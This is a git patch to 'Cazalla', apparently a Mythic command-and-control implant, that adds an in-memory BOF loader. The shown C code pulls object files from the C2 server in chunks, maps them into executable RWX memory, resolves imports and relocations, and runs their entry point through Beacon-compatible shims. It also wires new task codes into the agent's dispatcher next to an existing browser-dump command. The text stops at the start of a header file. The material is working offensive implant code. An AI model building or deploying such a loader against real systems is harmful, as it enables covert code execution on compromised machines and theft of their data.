From 3978a16fab52c65edf1db0aabe59755b01ab9f7a Mon Sep 17 00:00:00 2001 From: "marcos.luna" Date: Thu, 11 Dec 2025 15:41:44 +0100 Subject: [PATCH] Bof Loader implemented --- .../__pycache__/__init__.cpython-311.pyc | Bin 0 -> 1300 bytes .../cazalla/agent_code/cazalla/comandos.c | 16 + .../cazalla/agent_code/cazalla/comandos.h | 6 + .../agent_code/cazalla/inline_execute.c | 696 ++++++++++++++++++ .../agent_code/cazalla/inline_execute.h | 107 +++ .../cazalla/agent_code/cazalla/utils.c | 15 + .../cazalla/agent_code/cazalla/utils.h | 3 + .../__pycache__/__init__.cpython-311.pyc | Bin 0 -> 186 bytes .../inline_execute.cpython-311.pyc | Bin 0 -> 11209 bytes .../__pycache__/rpfwd.cpython-311.pyc | Bin 0 -> 14695 bytes .../agent_functions/execute_assembly.py | 220 ++++++ .../cazalla/agent_functions/inline_execute.py | 209 ++++++ .../inline_execute_assembly.py | 271 +++++++ Payload_Type/cazalla/requirements.txt | 4 + .../cazalla/translator/commands_from_c2.py | 56 +- .../translator/commands_from_implant.py | 27 +- README.md | 3 + documentation-payload/Cazalla/commands.md | 140 ++++ .../Cazalla/commands/README.md | 7 +- .../Cazalla/commands/execute_assembly.md | 109 +++ .../Cazalla/commands/inline_execute.md | 114 +++ .../commands/inline_execute_assembly.md | 110 +++ documentation-payload/Cazalla/features.md | 3 + documentation-payload/Cazalla/opsec.md | 25 + 24 files changed, 2135 insertions(+), 6 deletions(-) create mode 100644 Payload_Type/cazalla/cazalla/__pycache__/__init__.cpython-311.pyc create mode 100644 Payload_Type/cazalla/cazalla/agent_code/cazalla/inline_execute.c create mode 100644 Payload_Type/cazalla/cazalla/agent_code/cazalla/inline_execute.h create mode 100644 Payload_Type/cazalla/cazalla/agent_functions/__pycache__/__init__.cpython-311.pyc create mode 100644 Payload_Type/cazalla/cazalla/agent_functions/__pycache__/inline_execute.cpython-311.pyc create mode 100644 Payload_Type/cazalla/cazalla/agent_functions/__pycache__/rpfwd.cpython-311.pyc create mode 100644 Payload_Type/cazalla/cazalla/agent_functions/execute_assembly.py create mode 100644 Payload_Type/cazalla/cazalla/agent_functions/inline_execute.py create mode 100644 Payload_Type/cazalla/cazalla/agent_functions/inline_execute_assembly.py create mode 100644 documentation-payload/Cazalla/commands/execute_assembly.md create mode 100644 documentation-payload/Cazalla/commands/inline_execute.md create mode 100644 documentation-payload/Cazalla/commands/inline_execute_assembly.md diff --git a/Payload_Type/cazalla/cazalla/__pycache__/__init__.cpython-311.pyc b/Payload_Type/cazalla/cazalla/__pycache__/__init__.cpython-311.pyc new file mode 100644 index 0000000000000000000000000000000000000000..c39087641aa8e0ec3bcba1d3ed8a1f336a20a72d GIT binary patch literal 1300 zcmZuw-)q}e6h4w=$(ABJiqkgRXdN=c<`v>K?#3wTU_T!Aux{N}`XCrWv2GG&l58ZU zTl`SW*qAp0Q%0bLGVoL8EqlnHutEO-i|Rq#*FE)R82VBQBRi7gEGoPA>fCcaedpZo zT%liNSp*!94rQ~)0{oQ((;=KVPyS{A?tuXYV}Ux^8I{GDwQ@G6a!i8dth~*uye+6g z8Z%ZwEwDg1Qar%?LwqJf6^XbdO(TQrqHp9AtIi-Fwx+Lu%shbSa%E%)2go=)WideH z_u+F}Es@fodY|f{$`z}vT1kPuCLi` zW7{HBF`YZQWg5Cqw3go5Bpxm68^rOo^=+r+n{CJIa<46ScDj!qSEH6ZIb+ptB<>t|PD6jU!SgiDGyY-+O zd>o3kNUZgQ7?cqxAygu$jGz)1XUC9duBN8NT!hqG6r*()KeM6fcNE_Vs<_FwT!QV;+D literal 0 HcmV?d00001 diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c index 6adbf3c..ae5ac07 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c @@ -183,6 +183,22 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) { _inf("===== PROCESSING BROWSER_DUMP_CMD (0x%02X) =====", tarea); DumparNavegador(analizadorTarea); _inf("===== BROWSER_DUMP_CMD COMPLETED ====="); + } else if (tarea == INLINE_EXECUTE_CMD) { + _inf("===== PROCESSING INLINE_EXECUTE_CMD (0x%02X) =====", tarea); + InlineExecuteHandler(analizadorTarea); + _inf("===== INLINE_EXECUTE_CMD COMPLETED ====="); + } else if (tarea == INLINE_EXECUTE_ASSEMBLY_CMD) { + _inf("===== PROCESSING INLINE_EXECUTE_ASSEMBLY_CMD (0x%02X) =====", tarea); + // This command is typically handled via subtasks in Python + // But if called directly, we'll handle it here + _wrn("inline_execute_assembly should be called via subtasks"); + if (analizadorTarea) liberarAnalizador(analizadorTarea); + } else if (tarea == EXECUTE_ASSEMBLY_CMD) { + _inf("===== PROCESSING EXECUTE_ASSEMBLY_CMD (0x%02X) =====", tarea); + // This command is typically handled via subtasks in Python (inject_shellcode) + // But if called directly, we'll handle it here + _wrn("execute_assembly should be called via subtasks"); + if (analizadorTarea) liberarAnalizador(analizadorTarea); } else { _wrn("Tarea desconocida: 0x%02x", tarea); _wrn("Tarea %u: Comando desconocido, liberando recursos", i+1); diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h index 6abb7ff..1be6218 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h @@ -16,6 +16,7 @@ #include "rpfwd_manager.h" #include "browser_info.h" #include "browser_dump.h" +#include "inline_execute.h" #define SHELL_CMD 0x54 #define GET_TASKING 0x00 @@ -63,6 +64,11 @@ /* Browser dump command */ #define BROWSER_DUMP_CMD 0x41 +/* BOF and Assembly execution commands */ +#define INLINE_EXECUTE_CMD 0x70 +#define INLINE_EXECUTE_ASSEMBLY_CMD 0x71 +#define EXECUTE_ASSEMBLY_CMD 0x72 + /* Extension marker to carry SOCKS array in binary messages */ #define SOCKS_BLOCK_MARKER 0xF5 /* Extension marker to carry RPFWD array in binary messages */ diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/inline_execute.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/inline_execute.c new file mode 100644 index 0000000..d3a81fe --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/inline_execute.c @@ -0,0 +1,696 @@ +#include "cazalla.h" +#include "inline_execute.h" +#include "comandos.h" +#include "paquete.h" +#include "SistemadeFicheros.h" +#include "utils.h" +#include +#include +#include +#include + +/* + * Beacon Compatibility Layer - Simple output buffering for BOFs + * These functions are called by BOFs and capture their output + */ +static char* beacon_output_buffer = NULL; +static int beacon_output_size = 0; +static int beacon_output_offset = 0; + +// BeaconPrintf - Capture formatted output from BOFs +void BeaconPrintf(int type, char* fmt, ...) { + va_list args; + int length = 0; + char* tempptr = NULL; + + va_start(args, fmt); + length = vsnprintf(NULL, 0, fmt, args); + va_end(args); + + if (length <= 0) return; + + tempptr = (char*)realloc(beacon_output_buffer, beacon_output_size + length + 1); + if (tempptr == NULL) { + _err("[BeaconPrintf] Error reasignando memoria"); + return; + } + beacon_output_buffer = tempptr; + memset(beacon_output_buffer + beacon_output_offset, 0, length + 1); + + va_start(args, fmt); + length = vsnprintf(beacon_output_buffer + beacon_output_offset, length + 1, fmt, args); + beacon_output_size += length; + beacon_output_offset += length; + va_end(args); + + _inf("[BeaconPrintf] Output capturado: %d bytes, total buffer: %d bytes", length, beacon_output_size); +} + +// BeaconOutput - Capture raw output from BOFs +void BeaconOutput(int type, char* data, int len) { + char* tempptr = NULL; + if (!data || len <= 0) return; + + tempptr = (char*)realloc(beacon_output_buffer, beacon_output_size + len + 1); + if (tempptr == NULL) { + _err("[BeaconOutput] Error reasignando memoria"); + return; + } + beacon_output_buffer = tempptr; + memset(beacon_output_buffer + beacon_output_offset, 0, len + 1); + memcpy(beacon_output_buffer + beacon_output_offset, data, len); + beacon_output_size += len; + beacon_output_offset += len; + + _inf("[BeaconOutput] Output capturado: %d bytes, total buffer: %d bytes", len, beacon_output_size); +} + +// BeaconGetOutputData - Get captured output (caller must free) +char* BeaconGetOutputData(int* outsize) { + char* outdata = beacon_output_buffer; + *outsize = beacon_output_size; + beacon_output_buffer = NULL; + beacon_output_size = 0; + beacon_output_offset = 0; + return outdata; +} + +// BeaconDataParse - Parse data structure for BOFs +typedef struct { + char* original; + char* buffer; + int length; + int size; +} datap; + +void BeaconDataParse(datap* parser, char* buffer, int size) { + if (parser == NULL) return; + parser->original = buffer; + parser->buffer = buffer; + parser->length = size - 4; + parser->size = size - 4; + parser->buffer += 4; +} + +int BeaconDataInt(datap* parser) { + int32_t fourbyteint = 0; + if (parser->length < 4) return 0; + memcpy(&fourbyteint, parser->buffer, 4); + parser->buffer += 4; + parser->length -= 4; + return (int)fourbyteint; +} + +short BeaconDataShort(datap* parser) { + int16_t retvalue = 0; + if (parser->length < 2) return 0; + memcpy(&retvalue, parser->buffer, 2); + parser->buffer += 2; + parser->length -= 2; + return (short)retvalue; +} + +int BeaconDataLength(datap* parser) { + return parser->length; +} + +char* BeaconDataExtract(datap* parser, int* size) { + UINT32 length = 0; + char* outdata = NULL; + if (parser->length < 4) return NULL; + memcpy(&length, parser->buffer, 4); + parser->buffer += 4; + outdata = parser->buffer; + if (outdata == NULL) return NULL; + parser->length -= 4; + parser->length -= length; + parser->buffer += length; + if (size != NULL && outdata != NULL) { + *size = length; + } + return outdata; +} + +// Token functions (using Windows APIs directly) +BOOL BeaconUseToken(HANDLE token) { + return SetThreadToken(NULL, token); +} + +void BeaconRevertToken(void) { + RevertToSelf(); +} + +BOOL BeaconIsAdmin(void) { + // Basic implementation - can be enhanced + return FALSE; +} + +/* + * GetFileBytesFromMythic - Fetch a file from Mythic server using file_id + * Adapted from Cazalla's upload mechanism + */ +DWORD GetFileBytesFromMythic(PCHAR taskUuid, PCHAR fileId, PBOF_UPLOAD bof) { +#define CHUNK_SIZE 512000 // 512 KB + + _inf("[inline_execute] Obteniendo archivo BOF de Mythic: %.*s", 36, fileId); + + DWORD status = 0; + PBYTE dataBuffer = NULL; + SIZE_T bytesAvailable = 0; + SIZE_T totalBytesRead = 0; + UINT32 currentChunk = 1; + UINT32 totalChunks = 0; + + // Initialize BOF structure + memset(bof, 0, sizeof(BOF_UPLOAD)); + strncpy(bof->fileUuid, fileId, 36); + bof->fileUuid[36] = '\0'; + bof->currentChunk = 1; + + dataBuffer = (PBYTE)LocalAlloc(LPTR, CHUNK_SIZE); + if (!dataBuffer) { + _err("[inline_execute] Error alocar memoria para buffer"); + return GetLastError(); + } + bytesAvailable = CHUNK_SIZE; + + do { + // Create upload request + PPaquete requestPaquete = nuevoPaquete(POST_RESPONSE, TRUE); + addString(requestPaquete, taskUuid, FALSE); + + // Add empty output (required for upload request format, same as upload command) + addInt32(requestPaquete, 0); + + // Add upload request marker and data + addUploadRequest(requestPaquete, fileId, CHUNK_SIZE, currentChunk, "temp_bof"); + + // Send request and get response + PAnalizador respuesta = mandarPaquete(requestPaquete); + liberarPaquete(requestPaquete); + + if (!respuesta) { + _err("[inline_execute] No se recibió respuesta para chunk %u", currentChunk); + status = 1; + goto cleanup; + } + + // Debug: log response size + _dbg("[inline_execute] Respuesta recibida para chunk %u: %zu bytes", currentChunk, respuesta->tamano); + + // Extract upload response (same format as upload command) + // Look for 0xF9 marker + PBYTE buffer = respuesta->buffer; + SIZE_T len = respuesta->tamano; + BOOL found = FALSE; + + // Debug: log first few bytes to see what we're getting + if (len > 0) { + _dbg("[inline_execute] Primeros bytes de respuesta: 0x%02X 0x%02X 0x%02X 0x%02X", + len > 0 ? buffer[0] : 0, + len > 1 ? buffer[1] : 0, + len > 2 ? buffer[2] : 0, + len > 3 ? buffer[3] : 0); + } + + for (SIZE_T i = 0; i < len - 13; i++) { + if (buffer[i] == 0xF9) { + i++; + // Extract total_chunks + if (i + 4 > len) break; + totalChunks = (buffer[i] << 24) | (buffer[i+1] << 16) | (buffer[i+2] << 8) | buffer[i+3]; + i += 4; + + // Extract chunk_num + if (i + 4 > len) break; + UINT32 chunkNum = (buffer[i] << 24) | (buffer[i+1] << 16) | (buffer[i+2] << 8) | buffer[i+3]; + i += 4; + + // Extract chunk_data length + if (i + 4 > len) break; + UINT32 chunkDataLen = (buffer[i] << 24) | (buffer[i+1] << 16) | (buffer[i+2] << 8) | buffer[i+3]; + i += 4; + + if (chunkDataLen == 0 || chunkDataLen > 1024 * 1024 || i + chunkDataLen > len) { + break; + } + + // Decode base64 chunk data + PCHAR chunkDataB64 = (PCHAR)LocalAlloc(LPTR, chunkDataLen + 1); + if (!chunkDataB64) { + liberarAnalizador(respuesta); + status = GetLastError(); + goto cleanup; + } + memcpy(chunkDataB64, buffer + i, chunkDataLen); + chunkDataB64[chunkDataLen] = '\0'; + + // Decode base64 + PBYTE decodedData = NULL; + SIZE_T decodedLen = 0; + if (!base64_decode(chunkDataB64, &decodedData, &decodedLen)) { + _err("[inline_execute] Error decodificando base64 para chunk %u", currentChunk); + LocalFree(chunkDataB64); + liberarAnalizador(respuesta); + status = 1; + goto cleanup; + } + + // Reallocate buffer if needed + if (totalBytesRead + decodedLen > bytesAvailable) { + bytesAvailable = totalBytesRead + decodedLen; + dataBuffer = (PBYTE)LocalReAlloc(dataBuffer, bytesAvailable, LMEM_MOVEABLE | LMEM_ZEROINIT); + if (!dataBuffer) { + _err("[inline_execute] Error reasignando memoria"); + LocalFree(chunkDataB64); + LocalFree(decodedData); + liberarAnalizador(respuesta); + status = GetLastError(); + goto cleanup; + } + } + + // Copy chunk to buffer + memcpy(dataBuffer + totalBytesRead, decodedData, decodedLen); + totalBytesRead += decodedLen; + + LocalFree(chunkDataB64); + LocalFree(decodedData); + found = TRUE; + break; + } + } + + if (!found) { + _err("[inline_execute] No se encontró respuesta de upload para chunk %u", currentChunk); + liberarAnalizador(respuesta); + status = 1; + goto cleanup; + } + + liberarAnalizador(respuesta); + currentChunk++; + + } while (currentChunk <= totalChunks); + + bof->buffer = dataBuffer; + bof->size = totalBytesRead; + bof->totalChunks = totalChunks; + + _inf("[inline_execute] Archivo BOF obtenido: %zu bytes, %u chunks", totalBytesRead, totalChunks); + return 0; + +cleanup: + if (dataBuffer) { + LocalFree(dataBuffer); + } + return status; +} + +/* + * InternalFunctionMatch - Check if symbol is an internal Beacon function + */ +static BOOL InternalFunctionMatch(char* StrippedSymbolName) { + if (STR_EQUALS(StrippedSymbolName, "Beacon") || + STR_EQUALS(StrippedSymbolName, "GetProcAddress") || + STR_EQUALS(StrippedSymbolName, "GetModuleHandleA") || + STR_EQUALS(StrippedSymbolName, "toWideChar") || + STR_EQUALS(StrippedSymbolName, "LoadLibraryA") || + STR_EQUALS(StrippedSymbolName, "FreeLibrary")) + { + return TRUE; + } + return FALSE; +} + +/* + * ProcessBeaconSymbols - Resolve Beacon API symbols + */ +static void* ProcessBeaconSymbols(char* SymbolName, BOOL* InternalFunction) { + void* functionaddress = NULL; + char localSymbolNameCopy[1024] = { 0 }; + *InternalFunction = FALSE; + char* locallib = NULL; + char* localfunc = SymbolName + sizeof(PREPENDSYMBOLVALUE) - 1; + HMODULE llHandle = NULL; + char* context = NULL; + + strncpy_s(localSymbolNameCopy, sizeof(localSymbolNameCopy), SymbolName, sizeof(localSymbolNameCopy) - 1); + + // Hash-based function resolution for internal functions + // For now, we'll use direct function resolution + if (InternalFunctionMatch(SymbolName + sizeof(PREPENDSYMBOLVALUE) - 1)) { + *InternalFunction = TRUE; + localfunc = SymbolName + strlen(PREPENDSYMBOLVALUE); + UINT32 hash = custom_hash(localfunc); + + // Map common Beacon functions by hash + UINT32 funcHash = hash; + if (funcHash == custom_hash("BeaconDataParse")) { + return (void*)BeaconDataParse; + } else if (funcHash == custom_hash("BeaconPrintf")) { + return (void*)BeaconPrintf; + } else if (funcHash == custom_hash("BeaconOutput")) { + return (void*)BeaconOutput; + } else if (funcHash == custom_hash("GetProcAddress")) { + return (void*)GetProcAddress; + } else if (funcHash == custom_hash("GetModuleHandleA")) { + return (void*)GetModuleHandleA; + } else if (funcHash == custom_hash("LoadLibraryA")) { + return (void*)LoadLibraryA; + } else if (funcHash == custom_hash("FreeLibrary")) { + return (void*)FreeLibrary; + } else if (funcHash == custom_hash("BeaconUseToken")) { + return (void*)BeaconUseToken; + } else if (funcHash == custom_hash("BeaconRevertToken")) { + return (void*)BeaconRevertToken; + } else if (funcHash == custom_hash("BeaconIsAdmin")) { + return (void*)BeaconIsAdmin; + } + } else { + // External symbol - parse library$function format + locallib = strtok_s(localSymbolNameCopy + sizeof(PREPENDSYMBOLVALUE) - 1, "$", &context); + if (locallib) { + llHandle = LoadLibraryA(locallib); + localfunc = strtok_s(NULL, "$", &context); + if (localfunc) { + localfunc = strtok_s(localfunc, "@", &context); + functionaddress = GetProcAddress(llHandle, localfunc); + } + } + } + + return functionaddress; +} + +/* + * ExecuteEntry - Execute the BOF entry point + */ +static BOOL ExecuteEntry(COFF_t* COFF, char* func, char* args, unsigned long argSize) { + VOID(*foo)(char* in, UINT32 datalen) = NULL; + + if (!func || !COFF->FileBase) { + _err("[inline_execute] No entry point provided"); + return FALSE; + } + + for (UINT32 counter = 0; counter < COFF->FileHeader->NumberOfSymbols; counter++) { + if (strcmp(COFF->SymbolTable[counter].first.Name, func) == 0) { + foo = (void(*)(char*, UINT32))((char*)COFF->RawTextData + COFF->SymbolTable[counter].Value); + _dbg("[inline_execute] Entry point encontrado: 0x%p", foo); + break; + } + } + + if (!foo) { + _err("[inline_execute] No se pudo encontrar entry point '%s'", func); + return FALSE; + } + + // Execute the BOF + foo((char*)args, (UINT32)argSize); + return TRUE; +} + +/* + * RelocationTypeParse - Parse and apply COFF relocations + */ +static void RelocationTypeParse(COFF_t* COFF, void** SectionMapped, int SectionNumber, BOOL* InternalFunction, void* FunctionAddrPTR, char* FunctionMapping) { + UINT32 offsetAddr = 0; + UINT64 longOffsetAddr = 0; + unsigned int Type = COFF->Relocation->Type; + + if (Type == IMAGE_REL_AMD64_ADDR64) { + memcpy(&longOffsetAddr, (char*)SectionMapped[SectionNumber] + COFF->Relocation->VirtualAddress, sizeof(UINT64)); + longOffsetAddr = (UINT64)((char*)SectionMapped[COFF->SymbolTable[COFF->Relocation->SymbolTableIndex].SectionNumber - 1] + (UINT64)longOffsetAddr); + longOffsetAddr += COFF->SymbolTable[COFF->Relocation->SymbolTableIndex].Value; + memcpy((char*)SectionMapped[SectionNumber] + COFF->Relocation->VirtualAddress, &longOffsetAddr, sizeof(UINT64)); + } + else if (COFF->Relocation->Type == IMAGE_REL_AMD64_ADDR32NB) { + memcpy(&offsetAddr, (char*)SectionMapped[SectionNumber] + COFF->Relocation->VirtualAddress, sizeof(INT32)); + offsetAddr = ((char*)((char*)SectionMapped[COFF->SymbolTable[COFF->Relocation->SymbolTableIndex].SectionNumber - 1] + offsetAddr) - ((char*)SectionMapped[SectionNumber] + COFF->Relocation->VirtualAddress + 4)); + offsetAddr += COFF->SymbolTable[COFF->Relocation->SymbolTableIndex].Value; + memcpy((char*)SectionMapped[SectionNumber] + COFF->Relocation->VirtualAddress, &offsetAddr, sizeof(UINT32)); + } + else if (Type == IMAGE_REL_AMD64_REL32) { + if (FunctionAddrPTR != NULL) { + memcpy(FunctionMapping + (COFF->FunctionMappingCount * 8), &FunctionAddrPTR, sizeof(UINT64)); + offsetAddr = (INT32)((FunctionMapping + (COFF->FunctionMappingCount * 8)) - ((char*)SectionMapped[SectionNumber] + COFF->Relocation->VirtualAddress + 4)); + offsetAddr += COFF->SymbolTable[COFF->Relocation->SymbolTableIndex].Value; + memcpy((char*)SectionMapped[SectionNumber] + COFF->Relocation->VirtualAddress, &offsetAddr, sizeof(UINT32)); + *InternalFunction = FALSE; + COFF->FunctionMappingCount++; + } + else { + memcpy(&offsetAddr, (void*)((char*)SectionMapped[SectionNumber] + COFF->Relocation->VirtualAddress), sizeof(UINT32)); + offsetAddr += (UINT32)((char*)SectionMapped[COFF->SymbolTable[COFF->Relocation->SymbolTableIndex].SectionNumber - 1] - ((char*)SectionMapped[SectionNumber] + COFF->Relocation->VirtualAddress + 4)); + offsetAddr += COFF->SymbolTable[COFF->Relocation->SymbolTableIndex].Value; + memcpy((char*)SectionMapped[SectionNumber] + COFF->Relocation->VirtualAddress, &offsetAddr, sizeof(UINT32)); + } + } +} + +/* + * RunCOFF - Load and execute a COFF file + * Adapted from Xenon's COFF loader + */ +BOOL RunCOFF(char* FileData, DWORD* DataSize, char* EntryName, char* argumentdata, unsigned long argumentsize) { + COFF_t COFF; + COFF.FileBase = FileData; + COFF.FileHeader = (FileHeader_t*)COFF.FileBase; + COFF.SymbolTable = (Symbol_t*)(COFF.FileBase + COFF.FileHeader->PointerToSymbolTable); + COFF.FunctionMappingCount = 0; + COFF.RelocationsCount = 0; + + char* functionMapping = NULL; + void** sectionMapped = (void**)calloc(sizeof(char*) * (COFF.FileHeader->NumberOfSections + 1), 1); + + if ((int)COFF.FileHeader->Machine != IMAGE_FILE_MACHINE_AMD64) { + _err("[inline_execute] COFF no soportado: Machine=0x%04X (solo AMD64 soportado)", COFF.FileHeader->Machine); + free(sectionMapped); + return FALSE; + } + + // Allocate and map sections + for (BYTE i = 0; i < COFF.FileHeader->NumberOfSections; i++) { + Section_t* section = (Section_t*)(COFF.FileBase + sizeof(FileHeader_t) + (i * sizeof(Section_t))); + + sectionMapped[i] = (char*)VirtualAlloc(NULL, section->SizeOfRawData, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE); + + if (section->PointerToRawData != 0) { + memcpy(sectionMapped[i], COFF.FileBase + section->PointerToRawData, section->SizeOfRawData); + } + else { + memset(sectionMapped[i], 0, section->SizeOfRawData); + } + + if (!strcmp(section->Name, ".text")) { + COFF.RawTextData = sectionMapped[i]; + } + + COFF.RelocationsCount += section->NumberOfRelocations; + } + + // Allocate function mapping + functionMapping = (char*)VirtualAlloc(NULL, COFF.RelocationsCount * 8, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE); + + // Process relocations + for (int s = 0; s < COFF.FileHeader->NumberOfSections; s++) { + Section_t* section = (Section_t*)(COFF.FileBase + sizeof(FileHeader_t) + (s * sizeof(Section_t))); + COFF.RelocationsTextPTR = COFF.FileBase + section->PointerToRelocations; + + for (int i = 0; i < section->NumberOfRelocations; i++) { + UINT32 symbolOffset = 0; + void* funcptrlocation = NULL; + COFF.Relocation = (Relocation_t*)(COFF.RelocationsTextPTR + (i * sizeof(Relocation_t))); + + symbolOffset = COFF.SymbolTable[COFF.Relocation->SymbolTableIndex].first.value[1]; + + if (COFF.SymbolTable[COFF.Relocation->SymbolTableIndex].first.Name[0] != 0) { + BOOL internalFunc = FALSE; + RelocationTypeParse(&COFF, sectionMapped, s, &internalFunc, NULL, NULL); + } + else { + BOOL internalFunctionCheck = FALSE; + funcptrlocation = ProcessBeaconSymbols(((char*)(COFF.SymbolTable + COFF.FileHeader->NumberOfSymbols)) + symbolOffset, &internalFunctionCheck); + if (funcptrlocation == NULL && COFF.SymbolTable[COFF.Relocation->SymbolTableIndex].SectionNumber == 0) { + _wrn("[inline_execute] No se pudo resolver símbolo"); + } + + RelocationTypeParse(&COFF, sectionMapped, s, &internalFunctionCheck, funcptrlocation, functionMapping); + } + } + } + + // Execute the BOF + if (!ExecuteEntry(&COFF, EntryName, argumentdata, argumentsize)) { + _err("[inline_execute] Error ejecutando entry point"); + // Cleanup + for (BYTE i = 0; i < COFF.FileHeader->NumberOfSections; i++) { + if (sectionMapped[i] != NULL) { + VirtualFree(sectionMapped[i], 0, MEM_RELEASE); + } + } + free(sectionMapped); + if (functionMapping) VirtualFree(functionMapping, 0, MEM_RELEASE); + return FALSE; + } + + // Cleanup + for (BYTE i = 0; i < COFF.FileHeader->NumberOfSections; i++) { + if (sectionMapped[i] != NULL) { + VirtualFree(sectionMapped[i], 0, MEM_RELEASE); + } + } + free(sectionMapped); + if (functionMapping) VirtualFree(functionMapping, 0, MEM_RELEASE); + + return TRUE; +} + +/* + * ParseBOFArguments - Parse BOF arguments from JSON string + * Returns packed arguments buffer and size + */ +static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuffer, SIZE_T* outSize) { + // For now, we'll pass the JSON string directly + // A full implementation would parse the JSON and pack arguments according to type + *outBuffer = (PBYTE)LocalAlloc(LPTR, argsJsonLen); + if (!*outBuffer) { + return FALSE; + } + memcpy(*outBuffer, argsJson, argsJsonLen); + *outSize = argsJsonLen; + return TRUE; +} + +/* + * InlineExecuteHandler - Main handler for inline_execute command + */ +VOID InlineExecuteHandler(PAnalizador argumentos) { + _inf("===== InlineExecuteHandler INICIO ====="); + + // Read task UUID + SIZE_T uuidLen = 36; + PCHAR taskUuid = getString(argumentos, &uuidLen); + if (!taskUuid || uuidLen != 36) { + _err("InlineExecuteHandler: Error leyendo UUID (len=%zu)", uuidLen); + if (argumentos) liberarAnalizador(argumentos); + return; + } + + // Read file_id + SIZE_T fileIdLen = 0; + PCHAR fileId = getString(argumentos, &fileIdLen); + if (!fileId || fileIdLen == 0) { + _err("InlineExecuteHandler: Error leyendo file_id"); + if (argumentos) liberarAnalizador(argumentos); + return; + } + + // Read arguments (JSON string) + SIZE_T argsLen = 0; + PCHAR argsJson = getString(argumentos, &argsLen); + + _dbg("InlineExecuteHandler: taskUuid=%.*s, fileId=%.*s, argsLen=%zu", + 36, taskUuid, (int)fileIdLen, fileId, argsLen); + + // Create response package + PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE); + addString(respuesta, taskUuid, FALSE); + + // Create output package + PPaquete salida = nuevoPaquete(0, FALSE); + + // Fetch BOF file from Mythic + BOF_UPLOAD bof = {0}; + DWORD status = GetFileBytesFromMythic(taskUuid, fileId, &bof); + if (status != 0) { + _err("[inline_execute] Error obteniendo archivo BOF de Mythic: %lu", status); + PackageAddFormatPrintf(salida, FALSE, "[inline_execute] Error: No se pudo obtener el archivo BOF de Mythic (error: %lu)\n", status); + addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE); + Analizador* respuestaAnalizador = mandarPaquete(respuesta); + liberarPaquete(salida); + liberarPaquete(respuesta); + if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador); + if (argumentos) liberarAnalizador(argumentos); + return; + } + + // Parse BOF arguments + PBYTE bofArgs = NULL; + SIZE_T bofArgsSize = 0; + if (argsJson && argsLen > 0) { + if (!ParseBOFArguments(argsJson, argsLen, &bofArgs, &bofArgsSize)) { + _err("[inline_execute] Error parseando argumentos BOF"); + PackageAddFormatPrintf(salida, FALSE, "[inline_execute] Error: No se pudieron parsear los argumentos\n"); + } + } + + // Clear output buffer before executing BOF + if (beacon_output_buffer) { + free(beacon_output_buffer); + beacon_output_buffer = NULL; + } + beacon_output_size = 0; + beacon_output_offset = 0; + _inf("[inline_execute] Buffer de output limpiado antes de ejecutar BOF"); + + // Execute the BOF + DWORD fileSize = (DWORD)bof.size; + _inf("[inline_execute] Ejecutando BOF: size=%lu bytes, entry=go", fileSize); + if (!RunCOFF((char*)bof.buffer, &fileSize, "go", (char*)bofArgs, bofArgsSize)) { + _err("[inline_execute] Error ejecutando BOF"); + PackageAddFormatPrintf(salida, FALSE, "[inline_execute] Error: No se pudo ejecutar el BOF\n"); + } else { + _inf("[inline_execute] BOF ejecutado exitosamente, capturando output..."); + // Get output from Beacon compatibility layer + int outdataSize = 0; + PCHAR outdata = BeaconGetOutputData(&outdataSize); + _inf("[inline_execute] Output capturado: size=%d, ptr=%p", outdataSize, outdata); + if (outdata && outdataSize > 0) { + _inf("[inline_execute] Agregando output al paquete: %d bytes", outdataSize); + // Debug: log first 200 bytes of output + int logLen = (outdataSize > 200) ? 200 : outdataSize; + _inf("[inline_execute] Primeros %d bytes del output: %.*s", logLen, logLen, outdata); + addBytes(salida, (PBYTE)outdata, outdataSize, TRUE); + free(outdata); + } else { + _inf("[inline_execute] No hay output del BOF (outdataSize=%d)", outdataSize); + PackageAddFormatPrintf(salida, FALSE, "[inline_execute] BOF ejecutado exitosamente (sin output)\n"); + } + } + + _inf("[inline_execute] Tamaño del paquete salida antes de agregar a respuesta: %zu bytes", salida->length); + + // Add output to response FIRST (before artifacts) + // Format must be: [UUID_tarea][output_len][output][marcadores...] + _inf("[inline_execute] Agregando output a respuesta: %zu bytes", salida->length); + addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE); + + // Add Process Create artifact AFTER output + // BOF execution creates process artifacts + char artifact_buf[512]; + if (argsJson && argsLen > 0) { + snprintf(artifact_buf, sizeof(artifact_buf), "BOF execution: file_id=%.*s, args=%.*s", + (int)fileIdLen, fileId, (int)(argsLen > 100 ? 100 : argsLen), argsJson); + } else { + snprintf(artifact_buf, sizeof(artifact_buf), "BOF execution: file_id=%.*s", (int)fileIdLen, fileId); + } + addArtifact(respuesta, "Process Create", artifact_buf); + + _inf("[inline_execute] Tamaño del paquete respuesta antes de enviar: %zu bytes", respuesta->length); + + // Send response + Analizador* respuestaAnalizador = mandarPaquete(respuesta); + liberarPaquete(salida); + liberarPaquete(respuesta); + if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador); + + // Cleanup + if (bof.buffer) LocalFree(bof.buffer); + if (bofArgs) LocalFree(bofArgs); + if (argumentos) liberarAnalizador(argumentos); + + _inf("===== InlineExecuteHandler FIN ====="); +} diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/inline_execute.h 